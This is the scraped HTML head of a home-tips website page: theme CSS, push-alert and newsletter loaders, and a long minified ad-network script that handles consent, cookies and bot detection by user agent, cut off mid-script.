!important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}
128.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
129:root :where(.wp-block-icon svg){width: 24px;}
130:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
131/*# sourceURL=global-styles-inline-css */</style><style id="crp-style-rounded-thumbs-inline-css">.crp_related.crp-rounded-thumbs {
132						--crp-thumb-width: 130px;
133						--crp-thumb-height: 100px;
134						--crp-aspect-ratio: 1.3;
135					}
136				
137/*# sourceURL=crp-style-rounded-thumbs-inline-css */</style><link rel='stylesheet' id='custom-css-css' href='https://www.hometips.com/wp-content/themes/hello-elementor-child/custom/css/custom_style.css#asyncload' defer='defer' media='all' /><link rel='stylesheet' id='admin-css-css' href='https://www.hometips.com/wp-content/themes/hello-elementor-child/custom/css/mobile_site_style.css#asyncload' defer='defer' media='all' /><link rel='stylesheet' id='elementor-post-219905-css' href='https://www.hometips.com/wp-content/uploads/elementor/css/post-219905.css' defer='defer' media='all' /><link rel='stylesheet' id='elementor-post-12410-css' href='https://www.hometips.com/wp-content/uploads/elementor/css/post-12410.css' defer='defer' media='all' /> 
137<script>window.onload=ssw_scrollCheck();
138    function ssw_scrollCheck(){
139        console.log("Scrolled");
140        document.addEventListener("scroll", (event) => {
141            scrollBtnElement = document.getElementById("ssw_scroll_btn_container");
142            scrollHeight=document.documentElement.scrollTop;
143            //console.log("window.pageYOffset: ",window.pageYOffset)
144			console.log(" document.documentElement.scrollTop",document.documentElement.scrollTop)
145			//console.log(" document.body.scrollTop",document.body.scrollTop);
146            if(scrollHeight < 100){ scrollBtnElement.style.display = "none"; }
147            else{ scrollBtnElement.style.display = "block"; }
148        });
149    }</script>
149 
149<script id="jquery-core-js" src="https://www.hometips.com/wp-includes/js/jquery/jquery.min.js"></script>
149 
149<script id="mobile_site_script-js" src="https://www.hometips.com/wp-content/themes/hello-elementor-child/custom/js/mobile_site_script.js#asyncload"></script>
149 <link rel="https://api.w.org/" href="https://www.hometips.com/wp-json/" /><link rel="alternate" title="JSON" type="application/json" href="https://www.hometips.com/wp-json/wp/v2/pages/12410" /><link rel="EditURI" type="application/rsd+xml" title="RSD" href="https://www.hometips.com/xmlrpc.php?rsd" /><link rel='shortlink' href='https://www.hometips.com/?p=12410' />  
149<script type="text/javascript">var pushalert_sw_file = 'https://www.hometips.com/?pa_service_worker=1';
150var pushalert_manifest_file = 'https://cdn.pushalert.co/manifest-75198.json';
151
152            (function (d, t) {
153                var g = d.createElement(t),
154                        s = d.getElementsByTagName(t)[0];
155                g.src = "//cdn.pushalert.co/integrate_a8b1bf9b4d06f9e71920df856197b3e3.js";
156                s.parentNode.insertBefore(g, s);
157            }(document, "script"));</script>
157 <meta name="generator" content="Elementor 4.2.3; features: e_font_icon_svg, additional_custom_breakpoints; settings: css_print_method-external, google_font-enabled, font_display-block">  
157<script>(function(w,d,e,u,f,l,n){w[f]=w[f]||function(){(w[f].q=w[f].q||[])
158    .push(arguments);},l=d.createElement(e),l.async=1,l.src=u,
159    n=d.getElementsByTagName(e)[0],n.parentNode.insertBefore(l,n);})
160    (window,document,'script','https://assets.mailerlite.com/js/universal.js','ml');
161    ml('account', '1135189');</script>
161 <style>.e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload),
162				.e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload) * {
163					background-image: none !important;
164				}
165				@media screen and (max-height: 1024px) {
166					.e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload),
167					.e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload) * {
168						background-image: none !important;
169					}
170				}
171				@media screen and (max-height: 640px) {
172					.e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload),
173					.e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload) * {
174						background-image: none !important;
175					}
176				}</style><link rel="icon" href="https://www.hometips.com/wp-content/uploads/2020/11/cropped-Site_Icon_Favicon_512-32x32.png" sizes="32x32" /><link rel="icon" href="https://www.hometips.com/wp-content/uploads/2020/11/cropped-Site_Icon_Favicon_512-192x192.png" sizes="192x192" /><link rel="apple-touch-icon" href="https://www.hometips.com/wp-content/uploads/2020/11/cropped-Site_Icon_Favicon_512-180x180.png" /><meta name="msapplication-TileImage" content="https://www.hometips.com/wp-content/uploads/2020/11/cropped-Site_Icon_Favicon_512-270x270.png" /><style>.safety_message_outer{
177    text-align:center;
178    margin-bottom:20px;
179    min-height:40px;
180    background-color:#ffe6e6;
181    border-radius:3px;
182    border: 1px solid #e0e0e0;
183    color:#444444;
184    width:99%;
185   }
186   .safety_message_inner{
187       max-width: 650px;
188       margin: auto;
189       padding:10px ;
190   }
191   .safety_message_img{
192       display:inline-block;
193       position: absolute;
194        margin-left: -10px;
195   }
196   .safety_message_img img{
197       height:25px;
198   }
199   .safety_message{
200       font-size:14px;
201       font-style: italic;
202       color:#060606;
203       float:none;
204       padding:0px 20px;
205       margin-top: -4px;
206       display:inline-block;
207   }
208   
209   
210    @media only screen and (max-width: 1080px) {
211    .safety_message_inner{
212     max-width: 600px;
213    }
214    }
215   
216   @media only screen and (max-width: 900px) {
217    .safety_message_inner{
218     max-width: 500px;
219    }
220   .safety_message_img img{
221       height:20px;
222   }
223   .safety_message{
224     font-size:13px;
225    }
226   }
227   @media only screen and (max-width: 600px) {
228   .safety_message_img{
229       width: 5%;
230   }
231   .safety_message_img img{
232       height:15px;
233   }
234   .safety_message{
235     width: 90%;
236     font-size:12px;
237    }
238   }</style><style>.wp_post_list_categorywise_outer {
239    text-align:center;
240    }
241    
242   .wp_post_list_categorywise {
243    text-align:left;
244    background: #f3ffff;
245    padding: 10px 20px;
246    display: inline-block;
247    border-radius: 5px;
248    border: 2px solid #efefef;
249    margin: 15px;
250    margin-bottom: 25px;
251    margin-left: auto;
252    margin-right: auto;
253    }
254    
255    .wp_post_list_categorywise ul {
256    /*list-style-type: none !important;*/
257     margin: 0px !important;
258    line-height: 26px !important;
259    font-size: 100% !important;
260    list-style-position: inside;
261    }
262    .wp_post_list_categorywise li{
263    /* list-style: {none};*/
264     margin: 0em !important;
265     text-indent: 0em !important;
266     list-style-type: disc;
267    }
268    .wp_post_list_categorywise li a{
269    font-size:17px;
270    }
271    .post_list_heading{
272        font-weight:bold;
273    }</style>
273<script data-no-optimize='1' data-cfasync='false' id='comscore-loader-cbeddd4'>(function(){window.adthriveCLS.buildDate=`2026-09-22`;var e=class{},t=class extends e{constructor(e,t=Math.random){super(),this._probability=e,this._random=t}get(){if(this._probability<0||this._probability>1)throw Error(`Invalid probability: ${this._probability}`);return this._random()<this._probability}};function n(e){"@babel/helpers - typeof";return n=typeof Symbol==`function`&&typeof Symbol.iterator==`symbol`?function(e){return typeof e}:function(e){return e&&typeof Symbol==`function`&&e.constructor===Symbol&&e!==Symbol.prototype?`symbol`:typeof e},n(e)}function r(e,t){if(n(e)!=`object`||!e)return e;var r=e[Symbol.toPrimitive];if(r!==void 0){var i=r.call(e,t||`default`);if(n(i)!=`object`)return i;throw TypeError(`@@toPrimitive must return a primitive value.`)}return(t===`string`?String:Number)(e)}function i(e){var t=r(e,`string`);return n(t)==`symbol`?t:t+``}function a(e,t,n){return(t=i(t))in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var o=class{constructor(){a(this,`_featureRollouts`,{}),a(this,`_checkedFeatureRollouts`,new Map),a(this,`_enabledFeatureRolloutIds`,[])}get siteFeatureRollouts(){return this._featureRollouts}_isRolloutEnabled(e){if(this._doesRolloutExist(e)){let n=this._featureRollouts[e],r=n.enabled,i=n.data;if(this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(i)){let e=(i.pct_enabled??100)/100;r&&=new t(e).get()}return r}return!1}isRolloutEnabled(e){let t=this._checkedFeatureRollouts.get(e)??this._isRolloutEnabled(e);return this._checkedFeatureRollouts.get(e)===void 0&&this._checkedFeatureRollouts.set(e,t),t}isRolloutAdministrativelyEnabled(e){return this._doesRolloutExist(e)&&this._featureRollouts[e].enabled}_doesRolloutExist(e){return this._featureRollouts&&!!this._featureRollouts[e]}_doesRolloutHaveConfig(e){return this._doesRolloutExist(e)&&`data`in this._featureRollouts[e]}_isFeatureRolloutConfigType(e){return typeof e==`object`&&!!e&&!!Object.keys(e).length}getSiteRolloutConfig(e){var t;let n=this.isRolloutEnabled(e),r=(t=this._featureRollouts[e])==null?void 0:t.data;return n&&this._doesRolloutHaveConfig(e)&&this._isFeatureRolloutConfigType(r)?r:{}}get enabledFeatureRolloutIds(){return this._enabledFeatureRolloutIds}},s=class extends o{constructor(e){super(),this._featureRollouts=e,this._setEnabledFeatureRolloutIds()}_setEnabledFeatureRolloutIds(){Object.entries(this._featureRollouts).forEach(([e,t])=>{this.isRolloutEnabled(e)&&t.featureRolloutId!==void 0&&this._enabledFeatureRolloutIds.push(t.featureRolloutId)})}},c,l;let u=(c=window.adthrive)==null||(c=c.siteAds)==null?void 0:c.featureRollouts,d=(l=window.adthriveCLS)==null||(l=l.siteAds)==null?void 0:l.featureRollouts,f=e=>!!e&&typeof e==`object`&&Object.keys(e).length>0,ee=new s(f(d)&&d||f(u)&&u||{}),p=new class{info(e,t,...n){this.call(console.info,e,t,...n)}warn(e,t,...n){this.call(console.warn,e,t,...n)}error(e,t,...n){this.call(console.error,e,t,...n),this.sendErrorLogToCommandQueue(e,t,...n)}event(e,t,...n){var r;((r=window.adthriveCLS)==null?void 0:r.bucket)===`debug`&&this.info(e,t)}sendErrorLogToCommandQueue(e,t,...n){window.adthrive=window.adthrive||{},window.adthrive.cmd=window.adthrive.cmd||[],window.adthrive.cmd.push(()=>{window.adthrive.logError!==void 0&&typeof window.adthrive.logError==`function`&&window.adthrive.logError(e,t,n)})}call(e,t,n,...r){let i=[`%c${t}::${n} `],a=[`color: #999; font-weight: bold;`];r.length>0&&typeof r[0]==`string`&&i.push(r.shift()),a.push(...r);try{Function.prototype.apply.call(e,console,[i.join(``),...a])}catch(e){console.error(e);return}}},m=e=>{let t={};return function(...n){let r=JSON.stringify(n);if(r in t)return t[r];let i=e.apply(this,n);return t[r]=i,i}};navigator.vendor;let h=navigator.userAgent,g=m(e=>/Chrom|Applechromium/.test(e||h)),_=m(()=>/WebKit/.test(h)),v=m(()=>g()?`chromium`:_()?`webkit`:`other`),y=e=>/(Windows NT|Macintosh|X11;[^)]*(Linux|CrOS))/i.test(e),b=e=>/Mobi|iP(hone|od)|Opera Mini/i.test(e),x=e=>!/iPhone/i.test(e)&&/Mac/i.test(e)&&`ontouchstart`in window,S=e=>/Tablet|iPad|Playbook|Nook|webOS|Kindle|Android (?!.*Mobile).*Safari/i.test(e)||x(e),C=m((e=h)=>S(e)?`tablet`:b(e)&&!S(e)?`mobile`:y(e)?`desktop`:`tablet`),w=e=>{let t=v(),n=C(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i};var T=class{constructor(){a(this,`name`,void 0),a(this,`disable`,void 0),a(this,`gdprPurposes`,void 0)}};let E=`__adthriveTcfApiStub`,D=`__tcfapiLocator`,O=[],k=!1,A,j=e=>typeof e==`function`&&!!e[E],M=(e,t=2)=>{let n=O.findIndex(([n,r,i])=>n===`getTCData`&&r===t&&i===e);return n===-1?!1:(O.splice(n,1),!0)},N=()=>{let e=()=>{if(document.querySelector(`iframe[name="${D}"]`))return;if(!document.body){setTimeout(e,5);return}let t=document.createElement(`iframe`);t.style.cssText=`display:none`,t.name=D,document.body.appendChild(t)};e()},P=()=>{let e=window.__tcfapi;return typeof e==`function`&&!j(e)?e:void 0},F=()=>{let e=P();if(e)for(;O.length>0;){let t=O.shift();if(t)try{e(t[0],t[1],t[2],t[3])}catch(e){e instanceof Error&&e.message}}},I=()=>
273{if(k)return;if(k=!0,P()){F();return}let e=window.__tcfapi;Object.defineProperty(window,"__tcfapi",{configurable:!0,enumerable:!0,get:()=>e,set:t=>{e=t,typeof t==`function`&&!j(t)&&F()}})},L=()=>{let e=(e,t=2,n,r)=>{if(e===void 0)return O;switch(e){case`ping`:typeof n==`function`&&n({gdprApplies:A,cmpLoaded:!1,cmpStatus:`stub`,apiVersion:`2.0`},!0);return;case`setGdprApplies`:parseInt(String(t),10)>=2&&typeof r==`boolean`&&(A=r,typeof n==`function`&&n(`set`,!0));return;default:O.push([e,t,n,r])}};return Object.defineProperty(e,E,{value:!0,configurable:!1,enumerable:!1,writable:!1}),e},R=()=>{window.addEventListener(`message`,e=>{let t=typeof e.data==`string`,n={};if(t)try{n=JSON.parse(e.data)}catch{return}else n=e.data;let r=typeof n==`object`&&n?n.__tcfapiCall:void 0;if(!r)return;let i=e.source;window.__tcfapi(r.command,r.version,(e,n)=>{let a={__tcfapiReturn:{returnValue:e,success:n,callId:r.callId}};i==null||i.postMessage(t?JSON.stringify(a):a,`*`)},r.parameter)},!1)},z=()=>{if(I(),P())return!1;let e=!1;return j(window.__tcfapi)||(window.__tcfapi=L(),R(),e=!0),N(),window.__tcfapiQueue=O,e},B=(e,t=2,n,r)=>{if(e===void 0)return;let i=P();i?i(e,t,n,r):(O.push([e,t,n,r]),z())},V=(e,t=2,n,r)=>{B(e,t,n,r)},H=(e=1e4)=>new Promise((t,n)=>{let r,i=!1,a=(e,a)=>{i||(i=!0,r&&clearTimeout(r),a&&e?t(e):n(Error(`Failed to retrieve TCData`)))};e>0&&(r=setTimeout(()=>{i||(i=!0,M(a,2),n(Error(`TCF API request timed out`)))},e)),V(`getTCData`,2,a)}),U=[`mcmpfreqrec`],W=new class extends T{constructor(...e){super(...e),a(this,`name`,`BrowserStorage`),a(this,`disable`,!1),a(this,`gdprPurposes`,[1]),a(this,`_sessionStorageHandlerQueue`,[]),a(this,`_localStorageHandlerQueue`,[]),a(this,`_cookieHandlerQueue`,[]),a(this,`_gdpr`,void 0),a(this,`_shouldQueue`,!1),a(this,`_storageConsentGranted`,void 0),a(this,`_storageConsentUpdateInFlight`,0),a(this,`_storageConsentBeforeLatestUpdate`,void 0)}init(e,t){this._gdpr=e.gdpr===`true`,this._shouldQueue=this._gdpr,this._gdpr&&t&&(t.consentResponseCaptured.on(()=>{this._refreshStorageConsent(`consentResponseCaptured`)}),t.consentChanged.on(()=>{this._refreshStorageConsent(`consentChanged`)}))}_isGdprFromGlobal(){if(typeof window>`u`||!window.adthrive)return!1;let e=window.adthrive;return`gdprEnabled`in e?!!e.gdprEnabled:e.gdpr===`true`}_shouldQueueWrite(){return this._gdpr===void 0?this._isGdprFromGlobal():this._gdpr&&this._shouldQueue}isInGdprQueueMode(){return this._shouldQueueWrite()}_refreshStorageConsent(e){this._storageConsentBeforeLatestUpdate=this._storageConsentGranted,this._storageConsentUpdateInFlight+=1,this._updateStorageConsent().catch(e=>{}).then(()=>{this._storageConsentUpdateInFlight=Math.max(0,this._storageConsentUpdateInFlight-1)})}async _updateStorageConsent(){var e;let t=await H();!(t==null||(e=t.purpose)==null)&&e.consents&&(this._storageConsentGranted=t.purpose.consents[1]===!0)}_getStorageWriteAvailability(e,t){try{let n=window[e];n.setItem(t,`1`);let r=n.getItem(t);return n.removeItem(t),r===`1`?{available:!0}:{available:!1,error:Error(`${e} write probe value mismatch`)}}catch(e){return{available:!1,error:e}}}getStorageApiAvailability(){return{localStorage:this._getStorageWriteAvailability(`localStorage`,`__adthrive_localstorage_test__`).available,sessionStorage:this._getStorageWriteAvailability(`sessionStorage`,`__adthrive_sessionstorage_test__`).available}}clearQueue(e,t){t!==void 0&&(this._storageConsentGranted=t);let n=this._gdpr&&this._hasStorageConsent()===!1,r=e&&n&&this.disable===!1&&this._storageConsentUpdateInFlight>0&&this._storageConsentBeforeLatestUpdate===!1;r&&(this._storageConsentGranted=!0),e&&(!n||r)&&(this._shouldQueue=!1,this._sessionStorageHandlerQueue.forEach(e=>{this.setSessionStorage(e.key,e.value)}),this._localStorageHandlerQueue.forEach(e=>{if(e.key===`adthrive_abgroup`){let t=Object.keys(e.value)[0],n=e.value[t],r=e.value[`${t}_weight`];this.getOrSetABGroupLocalStorageValue(t,n,r,{value:24,unit:`hours`})}else e.expiry?e.type===`internal`?this.setExpirableInternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):this.setExpirableExternalLocalStorage(e.key,e.value,{expiry:e.expiry,resetOnRead:e.resetOnRead}):e.type===`internal`?this.setInternalLocalStorage(e.key,e.value):this.setExternalLocalStorage(e.key,e.value)}
273),this._cookieHandlerQueue.forEach(e=>{e.type===`internal`?this.setInternalCookie(e.key,e.value):this.setExternalCookie(e.key,e.value)})),this._sessionStorageHandlerQueue=[],this._localStorageHandlerQueue=[],this._cookieHandlerQueue=[]}readInternalCookie(e){return this._verifyInternalKey(e),this._readCookie(e)}readExternalCookie(e){return this._readCookie(e)}readExternalCookieList(e){return this._readCookieList(e)}getAllCookies(){return this._getCookies()}readInternalLocalStorage(e){return this._verifyInternalKey(e),this._readFromLocalStorage(e)}readExternalLocalStorage(e){return this._readFromLocalStorage(e)}readSessionStorage(e){let t=window.sessionStorage.getItem(e);if(!t)return null;try{return JSON.parse(t)}catch{return t}}getLocalStorageWriteAvailability(){return this._getStorageWriteAvailability(`localStorage`,`__adthrive_local_storage_probe__`)}deleteCookie(e){if(!this.disable){if(this._shouldQueueWrite()){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);return}document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}}purgeCookie(e){this._cookieHandlerQueue=this._cookieHandlerQueue.filter(t=>t.key!==e);try{document.cookie=`${e}=; SameSite=None; Secure; expires=Thu, 01 Jan 1970 00:00:00 UTC; path=/`}catch{}}deleteLocalStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);return}window.localStorage.removeItem(e)}}purgeLocalStorage(e){this._localStorageHandlerQueue=this._localStorageHandlerQueue.filter(t=>t.key!==e);try{window.localStorage.removeItem(e)}catch{}}deleteSessionStorage(e){if(!this.disable){if(this._shouldQueueWrite()){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);return}window.sessionStorage.removeItem(e)}}purgeSessionStorage(e){this._sessionStorageHandlerQueue=this._sessionStorageHandlerQueue.filter(t=>t.key!==e);try{window.sessionStorage.removeItem(e)}catch{}}_hasStorageConsent(){if(this._storageConsentGranted!==void 0)return this._storageConsentGranted}setInternalCookie(e,t,n){this.disable||(this._verifyInternalKey(e),this._setCookieValue(`internal`,e,t,n))}setExternalCookie(e,t,n){this.disable||this._setCookieValue(`external`,e,t,n)}setInternalLocalStorage(e,t){if(!this.disable)if(this._verifyInternalKey(e),this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExternalLocalStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t,type:`external`};this._localStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.localStorage.setItem(e,n)}}setExpirableInternalLocalStorage(e,t,n){if(!this.disable){this._verifyInternalKey(e);try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`internal`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}}setExpirableExternalLocalStorage(e,t,n){if(!this.disable)try{let r=(n==null?void 0:n.expiry)??{value:400,unit:`days`},i=(n==null?void 0:n.resetOnRead)??!1;if(this._shouldQueueWrite()){let n={key:e,value:JSON.stringify(t),type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};this._localStorageHandlerQueue.push(n)}else{let n={value:t,type:`external`,expires:this._getExpiryDate(r),expiry:r,resetOnRead:i};window.localStorage.setItem(e,JSON.stringify(n))}}catch(e){console.error(e)}}setSessionStorage(e,t){if(!this.disable)if(this._shouldQueueWrite()){let n={key:e,value:t};this._sessionStorageHandlerQueue.push(n)}else{let n=typeof t==`string`?t:JSON.stringify(t);window.sessionStorage.setItem(e,n)}}getOrSetABGroupLocalStorageValue(e,t,n,r,i=!0){let a=`adthrive_abgroup`;if(this._shouldQueueWrite()){let o={[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,o,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,o),[t,n]}let o=this.readInternalLocalStorage(a);if(o!==null){let t=o[e],n=o[`${e}_weight`]??null;if(this._isValidABGroupLocalStorageValue(t))return[t,n]}let s={...o,[e]:t,[`${e}_weight`]:n};return r?this.setExpirableInternalLocalStorage(a,s,{expiry:r,resetOnRead:i}):this.setInternalLocalStorage(a,s),[t,n]}_isValidABGroupLocalStorageValue(e){return e!=null&&!(typeof e==`number`&&isNaN(e))}_getExpiryDate({value:e,unit:t}){let n=new Date;return t===`milliseconds`?n.setTime(n.getTime()+e):t==`seconds`?n.setTime(n.getTime()+e*1e3):t===`minutes`?n.setTime(n.getTime()+e*60*1e3):t===`hours`?n.setTime(n.getTime()+e*60*60*1e3):t===`days`?n.setTime(n.getTime()+e*24*60*60*1e3):t===`months`&&n.setTime(n.getTime()+e*30*24*60*60*1e3),n.toUTCString()}_resetExpiry(e){return e.expires=this._getExpiryDate(e.expiry),e}_readCookie(e){let t=document.cookie.split(`; `).find(t=>t.split(`=`)[0]===e);if(!t)return null;let n=t.split(`=`)[1];if(n)try{return JSON.parse(decodeURIComponent(n))}catch{return decodeURIComponent(n)}return null}_readCookieList(e){let t;for(let n of document.cookie.split(`;`)){let[r,...i]=n.split(`=`);r.trim()===e&&(t=i.join(`=`).trim())}return t&&JSON.parse(t)||[]}_getCookies(){let e=[];return document.cookie.split(`;`).forEach(t=>{let[n,r]=t.split(`=`).map(e=>e.trim());e.push({name:n,value:r})}),e}_readFromLocalStorage(e){let t=window.localStorage.getItem(e);if(!t)return null;try{let n=JSON.parse(t),r=n.expires&&new Date().getTime()>=new Date(n.expires).getTime();if(e===`adthrive_abgroup`&&n.created)return window.localStorage.removeItem(e),null;if(n.resetOnRead&&n.expires&&!r){let t=this._resetExpiry(n);return window.localStorage.setItem(e,JSON.stringify(n)),t.value??t}else if(r)return window.localStorage.removeItem(e),null;if(Object.prototype.hasOwnProperty.call(n,`value`))try{return JSON.parse(n.value)}catch{return n.value}else return n}catch{return t}}_setCookieValue(e,t,n,r){try{if(this._shouldQueueWrite()){let r={key:t,value:n,type:e};this._cookieHandlerQueue.push(r)}else{let e=this._getExpiryDate((r==null?void 0:r.expiry)??{value:400,unit:`days`}),i=(r==null?void 0:r.sameSite)??`None`,a=(r==null?void 0:r.secure)??!0,o=typeof n==`object`?JSON.stringify(n):n;document.cookie=`${t}=${o}
273; SameSite=${i}; ${a?`Secure;`:``} expires=${e}; path=/`}}catch{}}_verifyInternalKey(e){let t=e.startsWith(`adthrive_`),n=e.startsWith(`adt_`);if(!t&&!n&&!U.includes(e))throw Error(`When reading an internal cookie, the key must start with "adthrive_" or "adt_" or be part of the allowed legacy keys.`)}},G=(e,t)=>{let n=document.getElementsByTagName(`script`)[0];n&&n.parentNode&&!t?n.parentNode.insertBefore(e,n):document.body.appendChild(e)},K=(e,t=!1,n=!1,r=!1,i=null)=>new Promise((a,o)=>{let s=document.createElement(`script`);s.type=`text/javascript`,s.src=e,s.defer=n,s.async=r,i&&Object.keys(i).forEach(e=>{s.setAttribute(`data-${e}`,i[e])}),s.addEventListener(`error`,()=>o(Error(`Failed to import script ${e}`))),s.addEventListener(`load`,()=>a(s)),G(s,t)}),q=()=>({width:Math.max(document.documentElement.clientWidth||0,window.innerWidth||0),height:Math.max(document.documentElement.clientHeight||0,window.innerHeight||0)}),J=(e=window.navigator.userAgent)=>(e??``).toLowerCase().includes(`raptivesiteinspector`),Y=`^Mozilla/5\\.0$,A6-Indexer,addthis,admantx,agentslug,alexa,anderspink,apache-httpclient,apachebench,apis-google,apis,appengine-google,ask jeeves,asynchttpclient,awe\\.sm,baidu,barkrowler,biglotron,bingpreview,bot,brandverify,bubing,butterfly,buzztalk,cf-uc,chatgpt,check_http,cloudflare,cmradar/0\\.1,coldfusion,comodo ssl checker,convera,copypants,crawler,crowsnest,curl,dap/nethttp,daumoa,deepseek,deepseekbot,developers\\.google\\.com/+/web/snippet/,digitalpersona fingerprint software,drupact,duckduck,elb-healthchecker,embedly,eoaagent,europarchive,eventmachine httpclient,evrinid,exaleadcloudview,ez publish,ezooms,facebookexternalhit,feedburner,feedfetcher-google,findlink,findthatfile,flipboardproxy,garlik,genieo,getprismatic\\.com,ghost,gigablast,go http package,google( page speed insights| web preview|google-site-verification|-structured-data-testing-tool|-structureddatatestingtool),googleweblight,gpt,gptbot,hatena,headless,heritrix,htmlparser,http(_request2|client|s|unit),httrack,hubspot,ia_archiver,ichiro,icoreservice,idmarch,in(agist|sieve|stapaper),insights,ips-agent,jack,jakarta commons,java,jetslide,jobseeker,js-kit,kimengi,knows\\.is,kraken,laconica,libwww,lighthouse,linode,lipperhey,longurl,ltx71,lwp-trivial,mappydata,mastodon,mediapartners-google,megaindex\\.ru,metauri,mfe_expand,mixnode,mon(tastic|tools),monitor,moreover,mrchrome,nberta,net(craft|researchserver|state|vibes),newrelicpinger,newsme,newspaper,nightmare,ning,nmap,nutch,online-domain-tools,openai,paessler,page(peek|sinventory|thing),panopta,peerindex,phantomjs,pingdom,plukkie,proximic,pu_in,publiclibraryarchive\\.org,python-(httplib2|requests|urllib),python,quanti,queryseeker,quicklook,qwanti,re-animator,readability,rebelmouse,relateiq,riddler,rssmicro,ruby,scraper,scrapy,seo-audit,seodiver,seokicks,shopwiki,shortlinktranslate,siege,sincera,sistrix,site24x7,siteexplorer,skypeuripreview,slack,slurp,socialrank,sogou,spider,spinn3r,squider,statuscake,stripe,summify,teeraid,teoma,test certificate info,tineye,traackr,ttd-content,tweetedtimes,twikle,twitjobsearch,twitmunin,twurly,typhoeus,unwindfetch,uptim(e|ia),uptm\\.io,vagabondo,vb project,vigil,Viv/2,vkshare,wappalyzer,watchsumo,webceo,webdatascout,webmon,webscout,wesee,wget,whatsapp,whatweb,wikido,wordpress,wormly,wotbox,xenu link sleuth,xing-contenttabreceiver,yandex,yanga,yeti,yff35,yourls,zelist\\.ro,zibb`.split(`,`),X=m((e=Y)=>{let t=window.navigator.userAgent.toLowerCase();return J(t)?!1:new RegExp(e.join(`|`),`i`).test(t)});var Z=class{constructor(){a(this,`runTests`,()=>{let e=!1;return window&&document&&(e=[`webdriver`in 